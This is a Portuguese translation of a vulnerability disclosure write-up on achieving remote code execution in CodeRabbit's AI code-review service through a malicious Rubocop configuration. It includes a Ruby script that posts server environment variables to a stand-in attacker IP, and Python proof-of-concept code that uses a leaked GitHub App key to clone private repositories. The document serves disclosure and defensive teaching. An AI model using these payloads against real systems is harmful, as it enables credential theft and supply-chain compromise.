Como Hackeamos o CodeRabbit: de um Pull Request Simples até RCE e Acesso de Escrita em 1 Milhão de Repositórios

Esse texto foi traduzido de um post original que está referenciado ao final da página e tem como objetivo alertar sobre riscos de segurança ao utilizar ferramentas de IA de terceiros em lugares sensíveis



Neste post do blog, vamos contar como conseguimos rodar código remotamente (RCE) nos servidores de produção do CodeRabbit, expor tokens de API e segredos, como seria possível acessar o banco de dados PostgreSQL deles e até obter acesso de leitura e escrita em 1 milhão de repositórios de código — inclusive privados.

Esse post é um relato detalhado de uma das falhas de segurança que apresentamos na Black Hat USA deste ano. O objetivo aqui é mostrar como problemas desse tipo podem surgir e ser explorados, para que outras pessoas e empresas possam aprender com a experiência e evitar situações parecidas. Não é para apontar o dedo ou envergonhar ninguém — isso pode acontecer com qualquer empresa. Segurança é um trabalho contínuo, e prevenir vulnerabilidades exige atenção o tempo todo.

📌 Nota: Os problemas de segurança documentados neste post foram rapidamente corrigidos em janeiro de 2025. Agradecemos a agilidade do CodeRabbit em agir assim que reportamos a vulnerabilidade. Segundo eles, em poucas horas já tinham resolvido a falha e reforçado suas medidas de segurança, tomando as seguintes ações:

  • Confirmaram a vulnerabilidade e iniciaram a correção imediatamente, começando por desativar o Rubocop até que o ajuste definitivo fosse implementado.
  • Em poucas horas, rotacionaram todas as credenciais e segredos que poderiam ter sido impactados.
  • Implantaram uma correção permanente em produção, movendo o Rubocop para dentro de um ambiente de sandbox seguro.
  • Realizaram uma auditoria completa dos sistemas para garantir que nenhum outro serviço estivesse rodando fora de proteções de sandbox, automatizaram a aplicação dessas proteções para evitar recorrências e adicionaram barreiras reforçadas de deploy.

Mais informações sobre a resposta do CodeRabbit podem ser encontradas aqui:
👉 Our Response to the January 2025 Kudelski Security Vulnerability Disclosure: Action and Continuous Improvement

Introdução

Em dezembro passado, participei do 38C3 em Hamburgo e apresentei duas falhas de segurança que descobri no Qodo Merge. Logo depois de sair do palco, alguém veio até mim e perguntou se eu já tinha dado uma olhada em outras ferramentas de revisão de código com IA, como o CodeRabbit.

Agradeci a sugestão e disse que realmente seria um ótimo alvo para investigar. Avançando algumas semanas no tempo… aqui estou eu, mergulhando na segurança deles.

O que é CodeRabbit?

O CodeRabbit é uma ferramenta de revisão de código com IA. No site deles, afirmam ser o aplicativo de IA mais instalado no GitHub e GitLab, com 1 milhão de repositórios em revisão e mais de 5 milhões de pull requests revisados.

De fato, o CodeRabbit é o aplicativo mais instalado na categoria IA Assistida do GitHub Marketplace. Além disso, aparece logo na primeira página dos apps mais instalados do GitHub, considerando todas as categorias.

Depois que o CodeRabbit é instalado em um repositório, sempre que um novo pull request (PR) é criado ou atualizado, ele entra em ação: analisa as mudanças feitas no código e gera uma revisão usando IA. No fim, o CodeRabbit publica essa análise como um comentário no PR, onde o desenvolvedor pode ler e interagir.

É uma ferramenta de produtividade bem útil, capaz de resumir PRs, identificar falhas de segurança no código, sugerir melhorias, ou até mesmo documentar e criar diagramas automaticamente. Tudo isso economiza um bom tempo dos devs.

Testando o CodeRabbit

O CodeRabbit oferece vários planos de assinatura, e um deles é o Pro, que inclui suporte a linters e ferramentas de análise estática de segurança (SAST), como o Semgrep. Também existe um teste gratuito de 14 dias do plano Pro. E, para quem trabalha com projetos open source, o plano Pro é oferecido de graça.

Eu registrei para uma conta trial e loguei utilizando minha conta do Github.

Ao fazer login no CodeRabbit pela primeira vez usando o GitHub, o aplicativo pede para ser instalado e autorizado em uma conta pessoal do GitHub. Nesse momento, o usuário precisa escolher em quais repositórios o CodeRabbit será instalado.

Também é possível revisar as permissões que o app do GitHub do CodeRabbit vai receber — incluindo acesso de leitura e escrita ao código nos repositórios selecionados.

Nesse ponto, tudo começou a soar muito parecido com o que aconteceu no caso do Qodo Merge. Eu precisava investigar. Afinal, se de alguma forma fosse possível vazar o token da API do GitHub, isso significaria ter acesso de leitura e escrita ao repositório onde o CodeRabbit estivesse instalado.

Então, criei imediatamente um repositório privado no meu GitHub pessoal e concedi acesso ao CodeRabbit para que ele começasse a revisar meus PRs nesse repositório.

Para me familiarizar melhor com as funcionalidades do CodeRabbit e entender como usá-lo, criei um PR. Logo em seguida, vi que o bot do CodeRabbit postou um comentário com a revisão do código.

Aqui estão alguns prints do que o CodeRabbit gerou:

CodeRabbit explica o que o PR faz
CodeRabbit pode encontrar problemas de segurança no seu código e sugerir melhorias
CodeRabbit até gera um diagrama que explica como a aplicação funciona

Agora que eu já tinha uma boa noção de como o CodeRabbit funcionava, era hora de começar a procurar vulnerabilidades.

Explorando ferramentas externas

Ao revisar a documentação oficial do CodeRabbit, percebi que ele suportava a execução de dezenas de ferramentas de análise estática — os famosos linters e ferramentas SAST (citados antes na página de preços do CodeRabbit).

Essas ferramentas são executadas sobre as mudanças do PR de acordo com algumas condições:

  • A ferramenta precisa estar habilitada na configuração do CodeRabbit.
  • O PR deve conter alterações grandes o suficiente para disparar a execução. Mudanças muito pequenas são ignoradas.
  • O PR deve incluir arquivos compatíveis com a ferramenta. Por exemplo: o PHPStan só roda em arquivos com a extensão .php.
  • Algumas ferramentas já vêm habilitadas por padrão e rodam sempre que encontram arquivos correspondentes. Caso contrário, é possível configurar quais ferramentas devem ser ativadas criando um arquivo .coderabbit.yaml no repositório, ou então ajustando as configurações direto no painel do CodeRabbit.

A documentação também dizia que cada ferramenta poderia ser configurada fornecendo o caminho para um arquivo de configuração que ela deveria ler. Agora a coisa ficou interessante!

Como o CodeRabbit executa essas ferramentas externas, se alguma delas permitir injeção de código, talvez fosse possível rodar código arbitrário. Então dei uma olhada na lista das ferramentas suportadas e encontrei um alvo promissor: o Rubocop, um analisador estático para Ruby.

Na página de documentação do CodeRabbit para o Rubocop, estava escrito que ele seria executado em arquivos Ruby (.rb) do repositório. Além disso, o CodeRabbit procuraria automaticamente por um arquivo .rubocop.yml em qualquer lugar do repositório e o passaria como configuração para o Rubocop.

Rubocop executa arquivos Ruby (.rb)
Fonte: Documentação do CodeRabbit
CodeRabbit procura por arquivos de configurações do Rubocop em qualquer lugar do repositório e, se encontrar, passa para o Rubocop executar.
Fonte: Documentação do CodeRabbit

Ao analisar a documentação do Rubocop, descobri que ele suporta extensões. Isso significa que é possível usar o arquivo de configuração do Rubocop para indicar o caminho de um arquivo Ruby de extensão — por exemplo, ext.rb — que será carregado e executado pelo Rubocop.

Para isso, basta incluir o seguinte trecho no arquivo .rubocop.yml:

require:
- ./ext.rb

No arquivo ext.rb, podemos escrever qualquer código Ruby arbitrário, que será carregado e executado quando o Rubocop rodar.

Para ilustrar, vamos usar o endereço IP fictício 1.2.3.4, representando um servidor controlado por um atacante.

Por exemplo, o script Ruby abaixo coleta as variáveis de ambiente e as envia para o servidor malicioso em 1.2.3.4:

require 'net/http'
require 'uri'
require 'json'
 
# Collect environment variables
env_vars = ENV.to_h
 
# Convert environment variables to JSON format
json_data = env_vars.to_json
 
# Define the URL to send the HTTP POST request
url = URI.parse('http://1.2.3.4/')
 
begin
  # Create the HTTP POST request
  http = Net::HTTP.new(url.host, url.port)
  request = Net::HTTP::Post.new(url.path)
  request['Content-Type'] = 'application/json'
  request.body = json_data
 
  # Send the request
  response = http.request(request)
rescue StandardError => e
  puts "An error occurred: #{e.message}"
end

Explorar essa falha era tão simples quanto seguir estes passos:

  1. Criar uma conta no CodeRabbit usando o teste gratuito e registrar-se com uma conta pessoal do GitHub.
  2. Criar um repositório privado e conceder acesso ao CodeRabbit, para que ele comece a revisar os PRs nesse repositório.
  3. Abrir um PR contendo os seguintes arquivos:
    • Um arquivo .rubocop.yml, conforme mostrado acima.
    • Um arquivo ext.rb, também como mostrado antes.
    • Qualquer outro arquivo Ruby grande o suficiente para que o CodeRabbit dispare a execução do Rubocop (já que ele ignora mudanças muito pequenas).
  4. Aguardar o CodeRabbit realizar a revisão de código e executar nosso arquivo malicioso ext.rb.
  5. Coletar as variáveis de ambiente exfiltradas, que chegam via requisição HTTP POST no servidor controlado pelo atacante (1.2.3.4).

Aqui está uma ilustração do nosso pull request malicioso, para facilitar o entendimento de como tudo isso funciona:

Uma ilustração sobre o que o pull request malicioso pode parecer

Desvendando o que encontramos

Depois de criarmos nosso PR malicioso, o CodeRabbit executou o Rubocop sobre o código — e, com isso, nosso código malicioso também rodou, enviando as variáveis de ambiente diretamente para o nosso servidor em 1.2.3.4.

No servidor (1.2.3.4), recebemos o seguinte payload JSON contendo as variáveis de ambiente:

{
  "ANTHROPIC_API_KEYS": "sk-ant-api03-(CENSORED)",
  "ANTHROPIC_API_KEYS_FREE": "sk-ant-api03-(CENSORED)",
  "ANTHROPIC_API_KEYS_OSS": "sk-ant-api03-(CENSORED)",
  "ANTHROPIC_API_KEYS_PAID": "sk-ant-api03-(CENSORED)",
  "ANTHROPIC_API_KEYS_TRIAL": "sk-ant-api03-(CENSORED)",
  "APERTURE_AGENT_ADDRESS": "(CENSORED)",
  "APERTURE_AGENT_KEY": "(CENSORED)",
  "AST_GREP_ESSENTIALS": "ast-grep-essentials",
  "AST_GREP_RULES_PATH": "/home/jailuser/ast-grep-rules",
  "AWS_ACCESS_KEY_ID": "",
  "AWS_REGION": "",
  "AWS_SECRET_ACCESS_KEY": "",
  "AZURE_GPT4OMINI_DEPLOYMENT_NAME": "",
  "AZURE_GPT4O_DEPLOYMENT_NAME": "",
  "AZURE_GPT4TURBO_DEPLOYMENT_NAME": "",
  "AZURE_O1MINI_DEPLOYMENT_NAME": "",
  "AZURE_O1_DEPLOYMENT_NAME": "",
  "AZURE_OPENAI_API_KEY": "",
  "AZURE_OPENAI_ENDPOINT": "",
  "AZURE_OPENAI_ORG_ID": "",
  "AZURE_OPENAI_PROJECT_ID": "",
  "BITBUCKET_SERVER_BOT_TOKEN": "",
  "BITBUCKET_SERVER_BOT_USERNAME": "",
  "BITBUCKET_SERVER_URL": "",
  "BITBUCKET_SERVER_WEBHOOK_SECRET": "",
  "BUNDLER_ORIG_BUNDLER_VERSION": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_BUNDLE_BIN_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_BUNDLE_GEMFILE": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_GEM_HOME": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_GEM_PATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_MANPATH": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "BUNDLER_ORIG_RB_USER_INSTALL": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_RUBYLIB": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "BUNDLER_ORIG_RUBYOPT": "BUNDLER_ENVIRONMENT_PRESERVER_INTENTIONALLY_NIL",
  "CI": "true",
  "CLOUD_API_URL": "https://(CENSORED)",
  "CLOUD_RUN_TIMEOUT_SECONDS": "3600",
  "CODEBASE_VERIFICATION": "true",
  "CODERABBIT_API_KEY": "",
  "CODERABBIT_API_URL": "https://(CENSORED)",
  "COURIER_NOTIFICATION_AUTH_TOKEN": "(CENSORED)",
  "COURIER_NOTIFICATION_ID": "(CENSORED)",
  "DB_API_URL": " https://(CENSORED)",
  "ENABLE_APERTURE": "true",
  "ENABLE_DOCSTRINGS": "true",
  "ENABLE_EVAL": "false",
  "ENABLE_LEARNINGS": "",
  "ENABLE_METRICS": "",
  "ENCRYPTION_PASSWORD": "(CENSORED)",
  "ENCRYPTION_SALT": "(CENSORED)",
  "FIREBASE_DB_ID": "",
  "FREE_UPGRADE_UNTIL": "2025-01-15",
  "GH_WEBHOOK_SECRET": "(CENSORED)",
  "GITHUB_APP_CLIENT_ID": "(CENSORED)",
  "GITHUB_APP_CLIENT_SECRET": "(CENSORED)",
  "GITHUB_APP_ID": "(CENSORED)",
  "GITHUB_APP_NAME": "coderabbitai",
  "GITHUB_APP_PEM_FILE": "-----BEGIN RSA PRIVATE KEY-----\n(CENSORED)-\n-----END RSA PRIVATE KEY-----\n",
  "GITHUB_CONCURRENCY": "8",
  "GITHUB_ENV": "",
  "GITHUB_EVENT_NAME": "",
  "GITHUB_TOKEN": "",
  "GITLAB_BOT_TOKEN": "(CENSORED)",
  "GITLAB_CONCURRENCY": "8",
  "GITLAB_WEBHOOK_SECRET": "",
  "HOME": "/root",
  "ISSUE_PROCESSING_BATCH_SIZE": "30",
  "ISSUE_PROCESSING_START_DATE": "2023-06-01",
  "JAILUSER": "jailuser",
  "JAILUSER_HOME_PATH": "/home/jailuser",
  "JIRA_APP_ID": "(CENSORED)",
  "JIRA_APP_SECRET": "(CENSORED)",
  "JIRA_CLIENT_ID": "(CENSORED)",
  "JIRA_DEV_CLIENT_ID": "(CENSORED)",
  "JIRA_DEV_SECRET": "(CENSORED)",
  "JIRA_HOST": "",
  "JIRA_PAT": "",
  "JIRA_SECRET": "(CENSORED)",
  "JIRA_TOKEN_URL": "https://auth.atlassian.com/oauth/token",
  "K_CONFIGURATION": "pr-reviewer-saas",
  "K_REVISION": "pr-reviewer-saas-(CENSORED)",
  "K_SERVICE": "pr-reviewer-saas",
  "LANGCHAIN_API_KEY": "(CENSORED)",
  "LANGCHAIN_PROJECT": "default",
  "LANGCHAIN_TRACING_SAMPLING_RATE_CR": "50",
  "LANGCHAIN_TRACING_V2": "true",
  "LANGUAGETOOL_API_KEY": "(CENSORED)",
  "LANGUAGETOOL_USERNAME": "(CENSORED)",
  "LD_LIBRARY_PATH": "/usr/local/lib:/usr/lib:/lib:/usr/libexec/swift/5.10.1/usr/lib",
  "LINEAR_PAT": "",
  "LLM_PROVIDER": "",
  "LLM_TIMEOUT": "300000",
  "LOCAL": "false",
  "NODE_ENV": "production",
  "NODE_VERSION": "22.9.0",
  "NPM_CONFIG_REGISTRY": "http://(CENSORED)",
  "OAUTH2_CLIENT_ID": "",
  "OAUTH2_CLIENT_SECRET": "",
  "OAUTH2_ENDPOINT": "",
  "OPENAI_API_KEYS": "sk-proj-(CENSORED)",
  "OPENAI_API_KEYS_FREE": "sk-proj-(CENSORED)",
  "OPENAI_API_KEYS_OSS": "sk-proj-(CENSORED)",
  "OPENAI_API_KEYS_PAID": "sk-proj-(CENSORED)",
  "OPENAI_API_KEYS_TRIAL": "sk-proj-(CENSORED)",
  "OPENAI_BASE_URL": "",
  "OPENAI_ORG_ID": "",
  "OPENAI_PROJECT_ID": "",
  "PATH": "/pnpm:/usr/local/go/bin:/root/.local/bin:/swift/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "PINECONE_API_KEY": "(CENSORED)",
  "PINECONE_ENVIRONMENT": "us-central1-gcp",
  "PNPM_HOME": "/pnpm",
  "PORT": "8080",
  "POSTGRESQL_DATABASE": "(CENSORED)",
  "POSTGRESQL_HOST": "(CENSORED)",
  "POSTGRESQL_PASSWORD": "(CENSORED)",
  "POSTGRESQL_USER": "(CENSORED)",
  "PWD": "/inmem/21/d277c149-9d6a-4dde-88cc-03f724b50e2d/home/jailuser/git",
  "REVIEW_EVERYTHING": "false",
  "ROOT_COLLECTION": "",
  "SELF_HOSTED": "",
  "SELF_HOSTED_KNOWLEDGE_BASE": "",
  "SELF_HOSTED_KNOWLEDGE_BASE_BRANCH": "",
  "SENTRY_DSN": "https://(CENSORED)",
  "SERVICE_NAME": "pr-reviewer-saas",
  "SHLVL": "0",
  "TELEMETRY_COLLECTOR_URL": "https://(CENSORED)",
  "TEMP_PATH": "/inmem",
  "TINI_VERSION": "v0.19.0",
  "TRPC_API_BASE_URL": "https://(CENSORED)",
  "VECTOR_COLLECTION": "",
  "YARN_VERSION": "1.22.22",
  "_": "/usr/local/bin/rubocop"
}

O payload que recebemos continha tantos segredos que levou alguns minutos até eu entender tudo o que tínhamos conseguido acessar. Entre as variáveis de ambiente estavam, em destaque:

  • Chaves de API da Anthropic (free, oss, paid, trial etc.)
  • Chaves de API da OpenAI (free, oss, paid, trial etc.)
  • Aperture agent key
  • Courier auth token
  • Senha e salt de criptografia
  • Token de acesso pessoal do GitLab
  • Chave privada do GitHub App do CodeRabbit, além do client id, client secret e app id
  • Segredo do Jira
  • Chave de API do Langchain/Langsmith
  • Chave de API do LanguageTool
  • Chave de API do Pinecone
  • Host, usuário e senha do banco PostgreSQL

Vazar variáveis de ambiente já é grave, mas como também obtivemos execução remota de código (RCE) nesse servidor, um atacante poderia ter ido muito além. Eles poderiam, por exemplo, se conectar ao banco Postgres na rede interna, executar operações destrutivas ou até mesmo tentar obter o código-fonte do próprio aplicativo do CodeRabbit (possivelmente presente em algum lugar dentro do container Docker onde a ferramenta roda).

Antes de explorar mais a fundo as variáveis vazadas, fizemos apenas algumas operações mínimas de reconhecimento: listamos alguns diretórios e lemos o conteúdo de alguns arquivos do sistema de produção, só para confirmar o impacto. Esse processo não foi muito eficiente e não conseguimos confirmar rapidamente a presença do código-fonte original da aplicação web do CodeRabbit ali. O que encontramos foi a versão compilada da aplicação, no diretório /app/pr-reviewer-saas/dist.

Como estávamos em um servidor de produção, não queríamos arriscar causar nenhuma interrupção no serviço, então paramos por aí.

Mas ainda tinha mais. Vamos voltar às variáveis de ambiente que conseguimos exfiltrar.


Ganhando acesso de leitura/escrita a 1 milhão de repositórios

Entre as variáveis, uma chamou bastante atenção: GITHUB_APP_PEM_FILE. O valor dela era uma chave privada — nada menos que a chave privada do GitHub App do CodeRabbit.

Com essa chave, é possível se autenticar na API REST do GitHub e agir em nome do app do CodeRabbit. E como os usuários concederam ao CodeRabbit permissão de escrita em seus repositórios, essa chave nos dava acesso de escrita a 1 milhão de repositórios!

Vamos dar uma olhada em algumas operações que poderiam ser realizadas com essa chave privada.


Listando instalações do CodeRabbit App

Na época da análise, o CodeRabbit GitHub App estava instalado em mais de 80 mil contas. Isso significa que, no mínimo, essa quantidade de contas pessoais ou organizações no GitHub concederam acesso ao CodeRabbit a pelo menos um repositório. Mas, na prática, muitas dessas contas podem ter dado acesso a vários ou até mesmo a todos os seus repositórios.

Segundo o próprio site do CodeRabbit, eles fazem revisão em cerca de 1 milhão de repositórios. Isso inclui não só repositórios do GitHub, mas também de outras plataformas suportadas, como GitLab e provedores on-premises.

Mais adiante (na seção Prova de Conceito), veremos como é possível listar programaticamente as instalações de um app do GitHub usando a API do GitHub.


Listando repositórios do GitHub que o CodeRabbit acessa

Para cada instalação, é possível listar os repositórios GitHub aos quais ela tem acesso.

Além disso, é possível verificar que a instalação possui permissões de leitura e escrita no código do repositório, entre outras permissões.

Para referência, aqui está a lista das permissões que o CodeRabbit App possui nos repositórios em que está instalado:

"permissions": {
    "actions": "read",
    "checks": "read",
    "contents": "write",
    "discussions": "read",
    "issues": "write",
    "members": "read",
    "metadata": "read",
    "pull_requests": "write",
    "statuses": "write"
  },

Vale lembrar que essas permissões são informações públicas, que qualquer pessoa pode consultar neste link.

Gerando um access token válido para os repositórios acessados pelo CodeRabbit

É possível criar um token de acesso da API do GitHub para uma instalação do app CodeRabbit. Esse token carrega todas as permissões listadas acima e pode ser usado em qualquer repositório ao qual a instalação do app tem acesso.

Com ele, seria possível, por exemplo:

  • Clonar repositórios
  • Enviar commits diretamente para eles (já que temos não apenas leitura, mas também escrita)
  • Alterar releases do GitHub, inclusive substituindo os arquivos binários (assets) por versões maliciosas, e assim distribuir malware diretamente de um repositório oficial no GitHub

O detalhe é que esse token tem validade máxima de 10 minutos. Mas como possuímos a chave privada, é possível gerar novos tokens a qualquer momento, mesmo depois que eles expirarem.


Clonando repositórios privados acessados pelo CodeRabbit

E a situação fica ainda mais preocupante: com os tokens gerados, é possível clonar **repositórios privados (!) ** aos quais o usuário tenha concedido acesso ao CodeRabbit.

Ou seja, não importa se o repositório é público ou privado: se o CodeRabbit tem acesso, a chave privada também permite acessá-lo.

Na prática, um atacante poderia:

  1. Vazar a chave privada do GitHub App do CodeRabbit
  2. Listar todas as instalações do app
  3. Enumerar os repositórios de cada instalação
  4. Gerar tokens de acesso para cada repositório
  5. Clonar repositórios privados, inserir malware em repositórios públicos ou até mesmo manipular o histórico Git de qualquer projeto.

Isso abriria caminho para movimentos laterais (lateral movement) e até o vazamento de segredos de repositórios via GitHub Actions, caso o projeto alvo utilizasse pipelines vulneráveis.


Prova de Conceito

Aqui está um exemplo de como isso pode ser feito usando a biblioteca PyGitHub em Python, assumindo que a chave privada está salva em um arquivo chamado priv.pem e que já temos em mãos o App ID e o Client ID (também obtidos nas variáveis de ambiente vazadas):

#!/usr/bin/env python3  
import json  
import time  
 
import jwt  
import requests  
from github import Auth, GithubIntegration  
 
with open("priv.pem", "r") as f:  
    signing_key = f.read()  
 
app_id = "TODO_insert_app_id_here" 
client_id = "Iv1.TODO_insert_client_id_here" 
 
 
def gen_jwt():  
    payload = {  
        # Issued at time  
        'iat': int(time.time() - 60),  
        # JWT expiration time (10 minutes maximum)  
        'exp': int(time.time()) + 600 - 60,  
        # GitHub App's client ID  
        'iss': client_id  
    }  
 
    # Create JWT  
    encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")  
    return encoded_jwt  
 
 
def create_access_token(install_id, jwt):  
    response = requests.post(  
        f"https://api.github.com/app/installations/{install_id}/access_tokens",  
        headers={  
            "Accept": "application/vnd.github+json",  
            "Authorization": f"Bearer {jwt}",  
            "X-GitHub-Api-Version": "2022-11-28",  
        }  
    )  
    j = response.json()  
    access_token = j["token"]  
    return access_token  
 
 
def auth():  
    auth = Auth.AppAuth(app_id, signing_key)  
    gi = GithubIntegration(auth=auth)  
    app = gi.get_app()  
 
    # iterate through app installations, get the first 5  
    for installation in gi.get_installations().reversed[:5]:  
        install_id = installation.id 
 
    # or access an installation by its ID directly  
    installation = gi.get_app_installation(install_id)  
 
    jwt = gen_jwt()  
    create_access_token(install_id, jwt)  
 
    # get all github repositories this installation has access to  
    repos = installation.get_repos()  
    for repo in repos:  
        full_name = repo.full_name  
        stars = repo.stargazers_count  
        html_url = repo.html_url  
        is_private_repo = repo.private  
        clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git" 
        print(clone_url)  
 
        # repo can be cloned with "git clone {clone_url}"  
        # access token is valid for 10 minutes, but a new one can be generated whenever needed  
 
if __name__ == "__main__":  
    auth()

Obviamente, iterar por todas as instalações do GitHub App do CodeRabbit exigiria fazer milhares de requisições à API do GitHub em nome do app de produção do CodeRabbit — o que poderia até estourar a cota da API. Não queríamos correr o risco de atrapalhar o serviço em produção, então iteramos apenas por algumas instalações, só para confirmar que a PoC funcionava.


Vazando os repositórios privados do CodeRabbit

Mais cedo, comentamos que não conseguimos confirmar se o código-fonte original do CodeRabbit estava presente no container Docker de produção. Mas como eles mesmos “comem a própria comida de cachorro” (eat their own dog food), o CodeRabbit também roda… no próprio CodeRabbit 😅 — ou seja, nos seus próprios repositórios no GitHub.

Isso significa que é simples recuperar o ID da instalação do app para a organização GitHub deles e listar os repositórios aos quais essa instalação tem acesso.

E aqui está a lista de repositórios privados da organização coderabbitai no GitHub, aos quais o app tinha acesso:

Dá para ir além: basta gerar um token de acesso (como explicamos antes) e clonar esses repositórios privados — incluindo o que parece ser o monorepo principal (coderabbitai/mono) ou o repositório coderabbitai/pr-reviewer-saas.


PoC

Aqui está a prova de conceito para fazer isso. A diferença em relação ao exemplo anterior é que aqui recuperamos diretamente a instalação do app para uma organização GitHub específica (neste caso, coderabbitai) pelo seu nome, em vez de iterar sobre todas as instalações:

#!/usr/bin/env python3  
import time  
 
import jwt  
import requests  
from github import Auth, GithubIntegration  
 
with open("priv.pem", "r") as f:  
    signing_key = f.read()  
 
app_id = "CENSORED" 
client_id = "CENSORED" 
 
 
def gen_jwt():  
    payload = {  
        # Issued at time  
        'iat': int(time.time() - 60),  
        # JWT expiration time (10 minutes maximum)  
        'exp': int(time.time()) + 600 - 60,  
        # GitHub App's client ID  
        'iss': client_id  
    }  
 
    # Create JWT  
    encoded_jwt = jwt.encode(payload, signing_key, algorithm="RS256")  
    return encoded_jwt  
 
 
def auth():  
    auth = Auth.AppAuth(app_id, signing_key)  
    gi = GithubIntegration(auth=auth)  
 
    # Target a specific Github organization that uses CodeRabbit  
    org = "coderabbitai"   
    installation = gi.get_org_installation(org)  
 
    # Target a specific Github user that uses CodeRabbit
    # user = "amietn"  
    # installation = gi.get_user_installation(user)  
 
    print(installation.id)  
    gen_token = True 
 
    if gen_token:  
        jwt = gen_jwt()  
        response = requests.post(  
            f"https://api.github.com/app/installations/{installation.id}/access_tokens",  
            headers={  
                "Accept": "application/vnd.github+json",  
                "Authorization": f"Bearer {jwt}",  
                "X-GitHub-Api-Version": "2022-11-28",  
            }  
        )  
        j = response.json()  
        access_token = j["token"]  
 
    repos = installation.get_repos()  
    print("---repos---")  
    for repo in repos:  
        full_name = repo.full_name  
        html_url = repo.html_url  
        private = repo.private  
        if private:  
            print(f"* {full_name} ({private=}) - {html_url}")  
 
            if gen_token:  
                clone_url = f"https://x-access-token:{access_token}@github.com/{full_name}.git" 
                print(clone_url)  
 
 
if __name__ == "__main__":  
    auth()

De forma semelhante, uma pessoa mal-intencionada poderia mirar não apenas em uma organização do GitHub, mas também em contas pessoais que usam o CodeRabbit — acessando ou até modificando seus repositórios privados.

Como vimos, é possível obter diretamente o ID de instalação do app para uma organização ou um usuário. Ou seja, não é necessário iterar por todas as instalações do GitHub App: basta saber o nome da organização ou do usuário.


Resumo dos impactos

Vamos parar um pouco para resumir os impactos de ter acesso de escrita a 1 milhão de repositórios. Uma pessoa mal-intencionada poderia:

  • Acessar repositórios privados do GitHub que nunca deveriam estar expostos → violação de privacidade.
  • Modificar o histórico Git de repositórios afetados → isso poderia se tornar um ataque à cadeia de suprimentos (supply chain attack), já que repositórios no GitHub são frequentemente usados como fonte para construir softwares antes de serem distribuídos.
  • Alterar releases existentes no GitHub, trocando ou adicionando arquivos maliciosos para download → outro caso de supply chain attack.
  • Realizar movimentos laterais (lateral moves) e potencialmente vazar segredos de repositórios GitHub explorando ações vulneráveis do GitHub Actions, ao enviar commits para o repositório.
    • Vale notar: o app do CodeRabbit não tem permissão de escrita em workflows, então não é possível modificar diretamente as ações. Mas, se já existir uma ação vulnerável, tê-la em um repositório com permissão de escrita facilita bastante a exploração. (Veja a minha palestra no 38C3 para mais detalhes sobre como encontramos um caso assim.)

Além disso, conseguimos RCE nos sistemas de produção do CodeRabbit. Isso abriria espaço para operações destrutivas, causar indisponibilidade (DoS) ou até lançar ataques contra sistemas de terceiros usando os segredos vazados (como vimos anteriormente).

Contexto é tudo

Enquanto rodávamos o exploit, o CodeRabbit continuava revisando nosso pull request normalmente e até deixava um comentário no PR do GitHub dizendo que havia detectado um risco crítico de segurança.

A ironia é que, ao mesmo tempo, a aplicação executava o nosso código sem perceber que aquilo estava acontecendo diretamente no sistema de produção deles.

Mitigação

O CodeRabbit suporta a execução de dezenas de ferramentas externas. Essas ferramentas recebem atualizações constantemente e novas podem ser adicionadas no futuro. Cada um desses cenários pode abrir espaço para novas formas de executar código arbitrário. Por isso, tentar bloquear totalmente a execução de código malicioso dentro dessas ferramentas parece uma tarefa praticamente impossível.

Em vez disso, a melhor abordagem é assumir que usuários podem, sim, rodar código não confiável por meio dessas ferramentas. Nesse caso, o ideal seria executá-las em um ambiente isolado, com apenas as informações mínimas necessárias para o funcionamento, sem repassar variáveis de ambiente sensíveis. Assim, mesmo que fosse possível executar código arbitrário, o impacto seria muito menos grave.

Como uma camada extra de defesa (defense in depth), também é recomendável implementar mecanismos que evitem o envio de informações privadas para servidores controlados por atacantes. Por exemplo: só permitir tráfego de saída para hosts confiáveis (whitelist). E, se a ferramenta não precisar de acesso à internet, o ideal seria até mesmo bloquear todo o tráfego de rede dentro desse ambiente isolado. Isso dificultaria bastante a exfiltração de segredos.


Divulgação Responsável

Após reportarmos de forma responsável essa vulnerabilidade crítica para a equipe do CodeRabbit, descobrimos que eles já tinham um mecanismo de isolamento em vigor, mas que, por algum motivo, o Rubocop não estava sendo executado dentro desse isolamento.

A equipe do CodeRabbit foi extremamente ágil: confirmaram o recebimento no mesmo dia, desativaram o Rubocop imediatamente, rotacionaram os segredos e começaram a trabalhar na correção. Na semana seguinte, já confirmaram que a falha havia sido corrigida. Méritos para o time do CodeRabbit por responder tão rápido e tratar o problema com a seriedade necessária.

Linha do tempo da divulgação

  • 24 de janeiro de 2025
    • Vulnerabilidade reportada ao CodeRabbit
    • CodeRabbit confirma a vulnerabilidade e que já estava trabalhando em uma correção
  • 30 de janeiro de 2025
    • CodeRabbit confirma que a falha foi corrigida

Conclusões

No fim das contas, nós apenas apresentamos provas de conceito (PoCs) e não levamos o ataque adiante. Mas um atacante paciente poderia ter mapeado todos os acessos disponíveis, identificado os alvos de maior valor e, a partir daí, distribuído malware em larga escala através de um ataque à cadeia de suprimentos.

Segurança é difícil. Vários fatores podem se alinhar e criar brechas inesperadas. É por isso que responder rapidamente, como o CodeRabbit fez, é parte fundamental da defesa em ambientes modernos e dinâmicos. Outros fornecedores que contatamos, por exemplo, nem chegaram a responder — e até hoje seus produtos permanecem vulneráveis.

Na corrida para lançar produtos de IA no mercado, muitas empresas acabam priorizando a velocidade em detrimento da segurança. A inovação rápida é empolgante, mas negligenciar a segurança pode ter consequências catastróficas, como vimos neste caso.

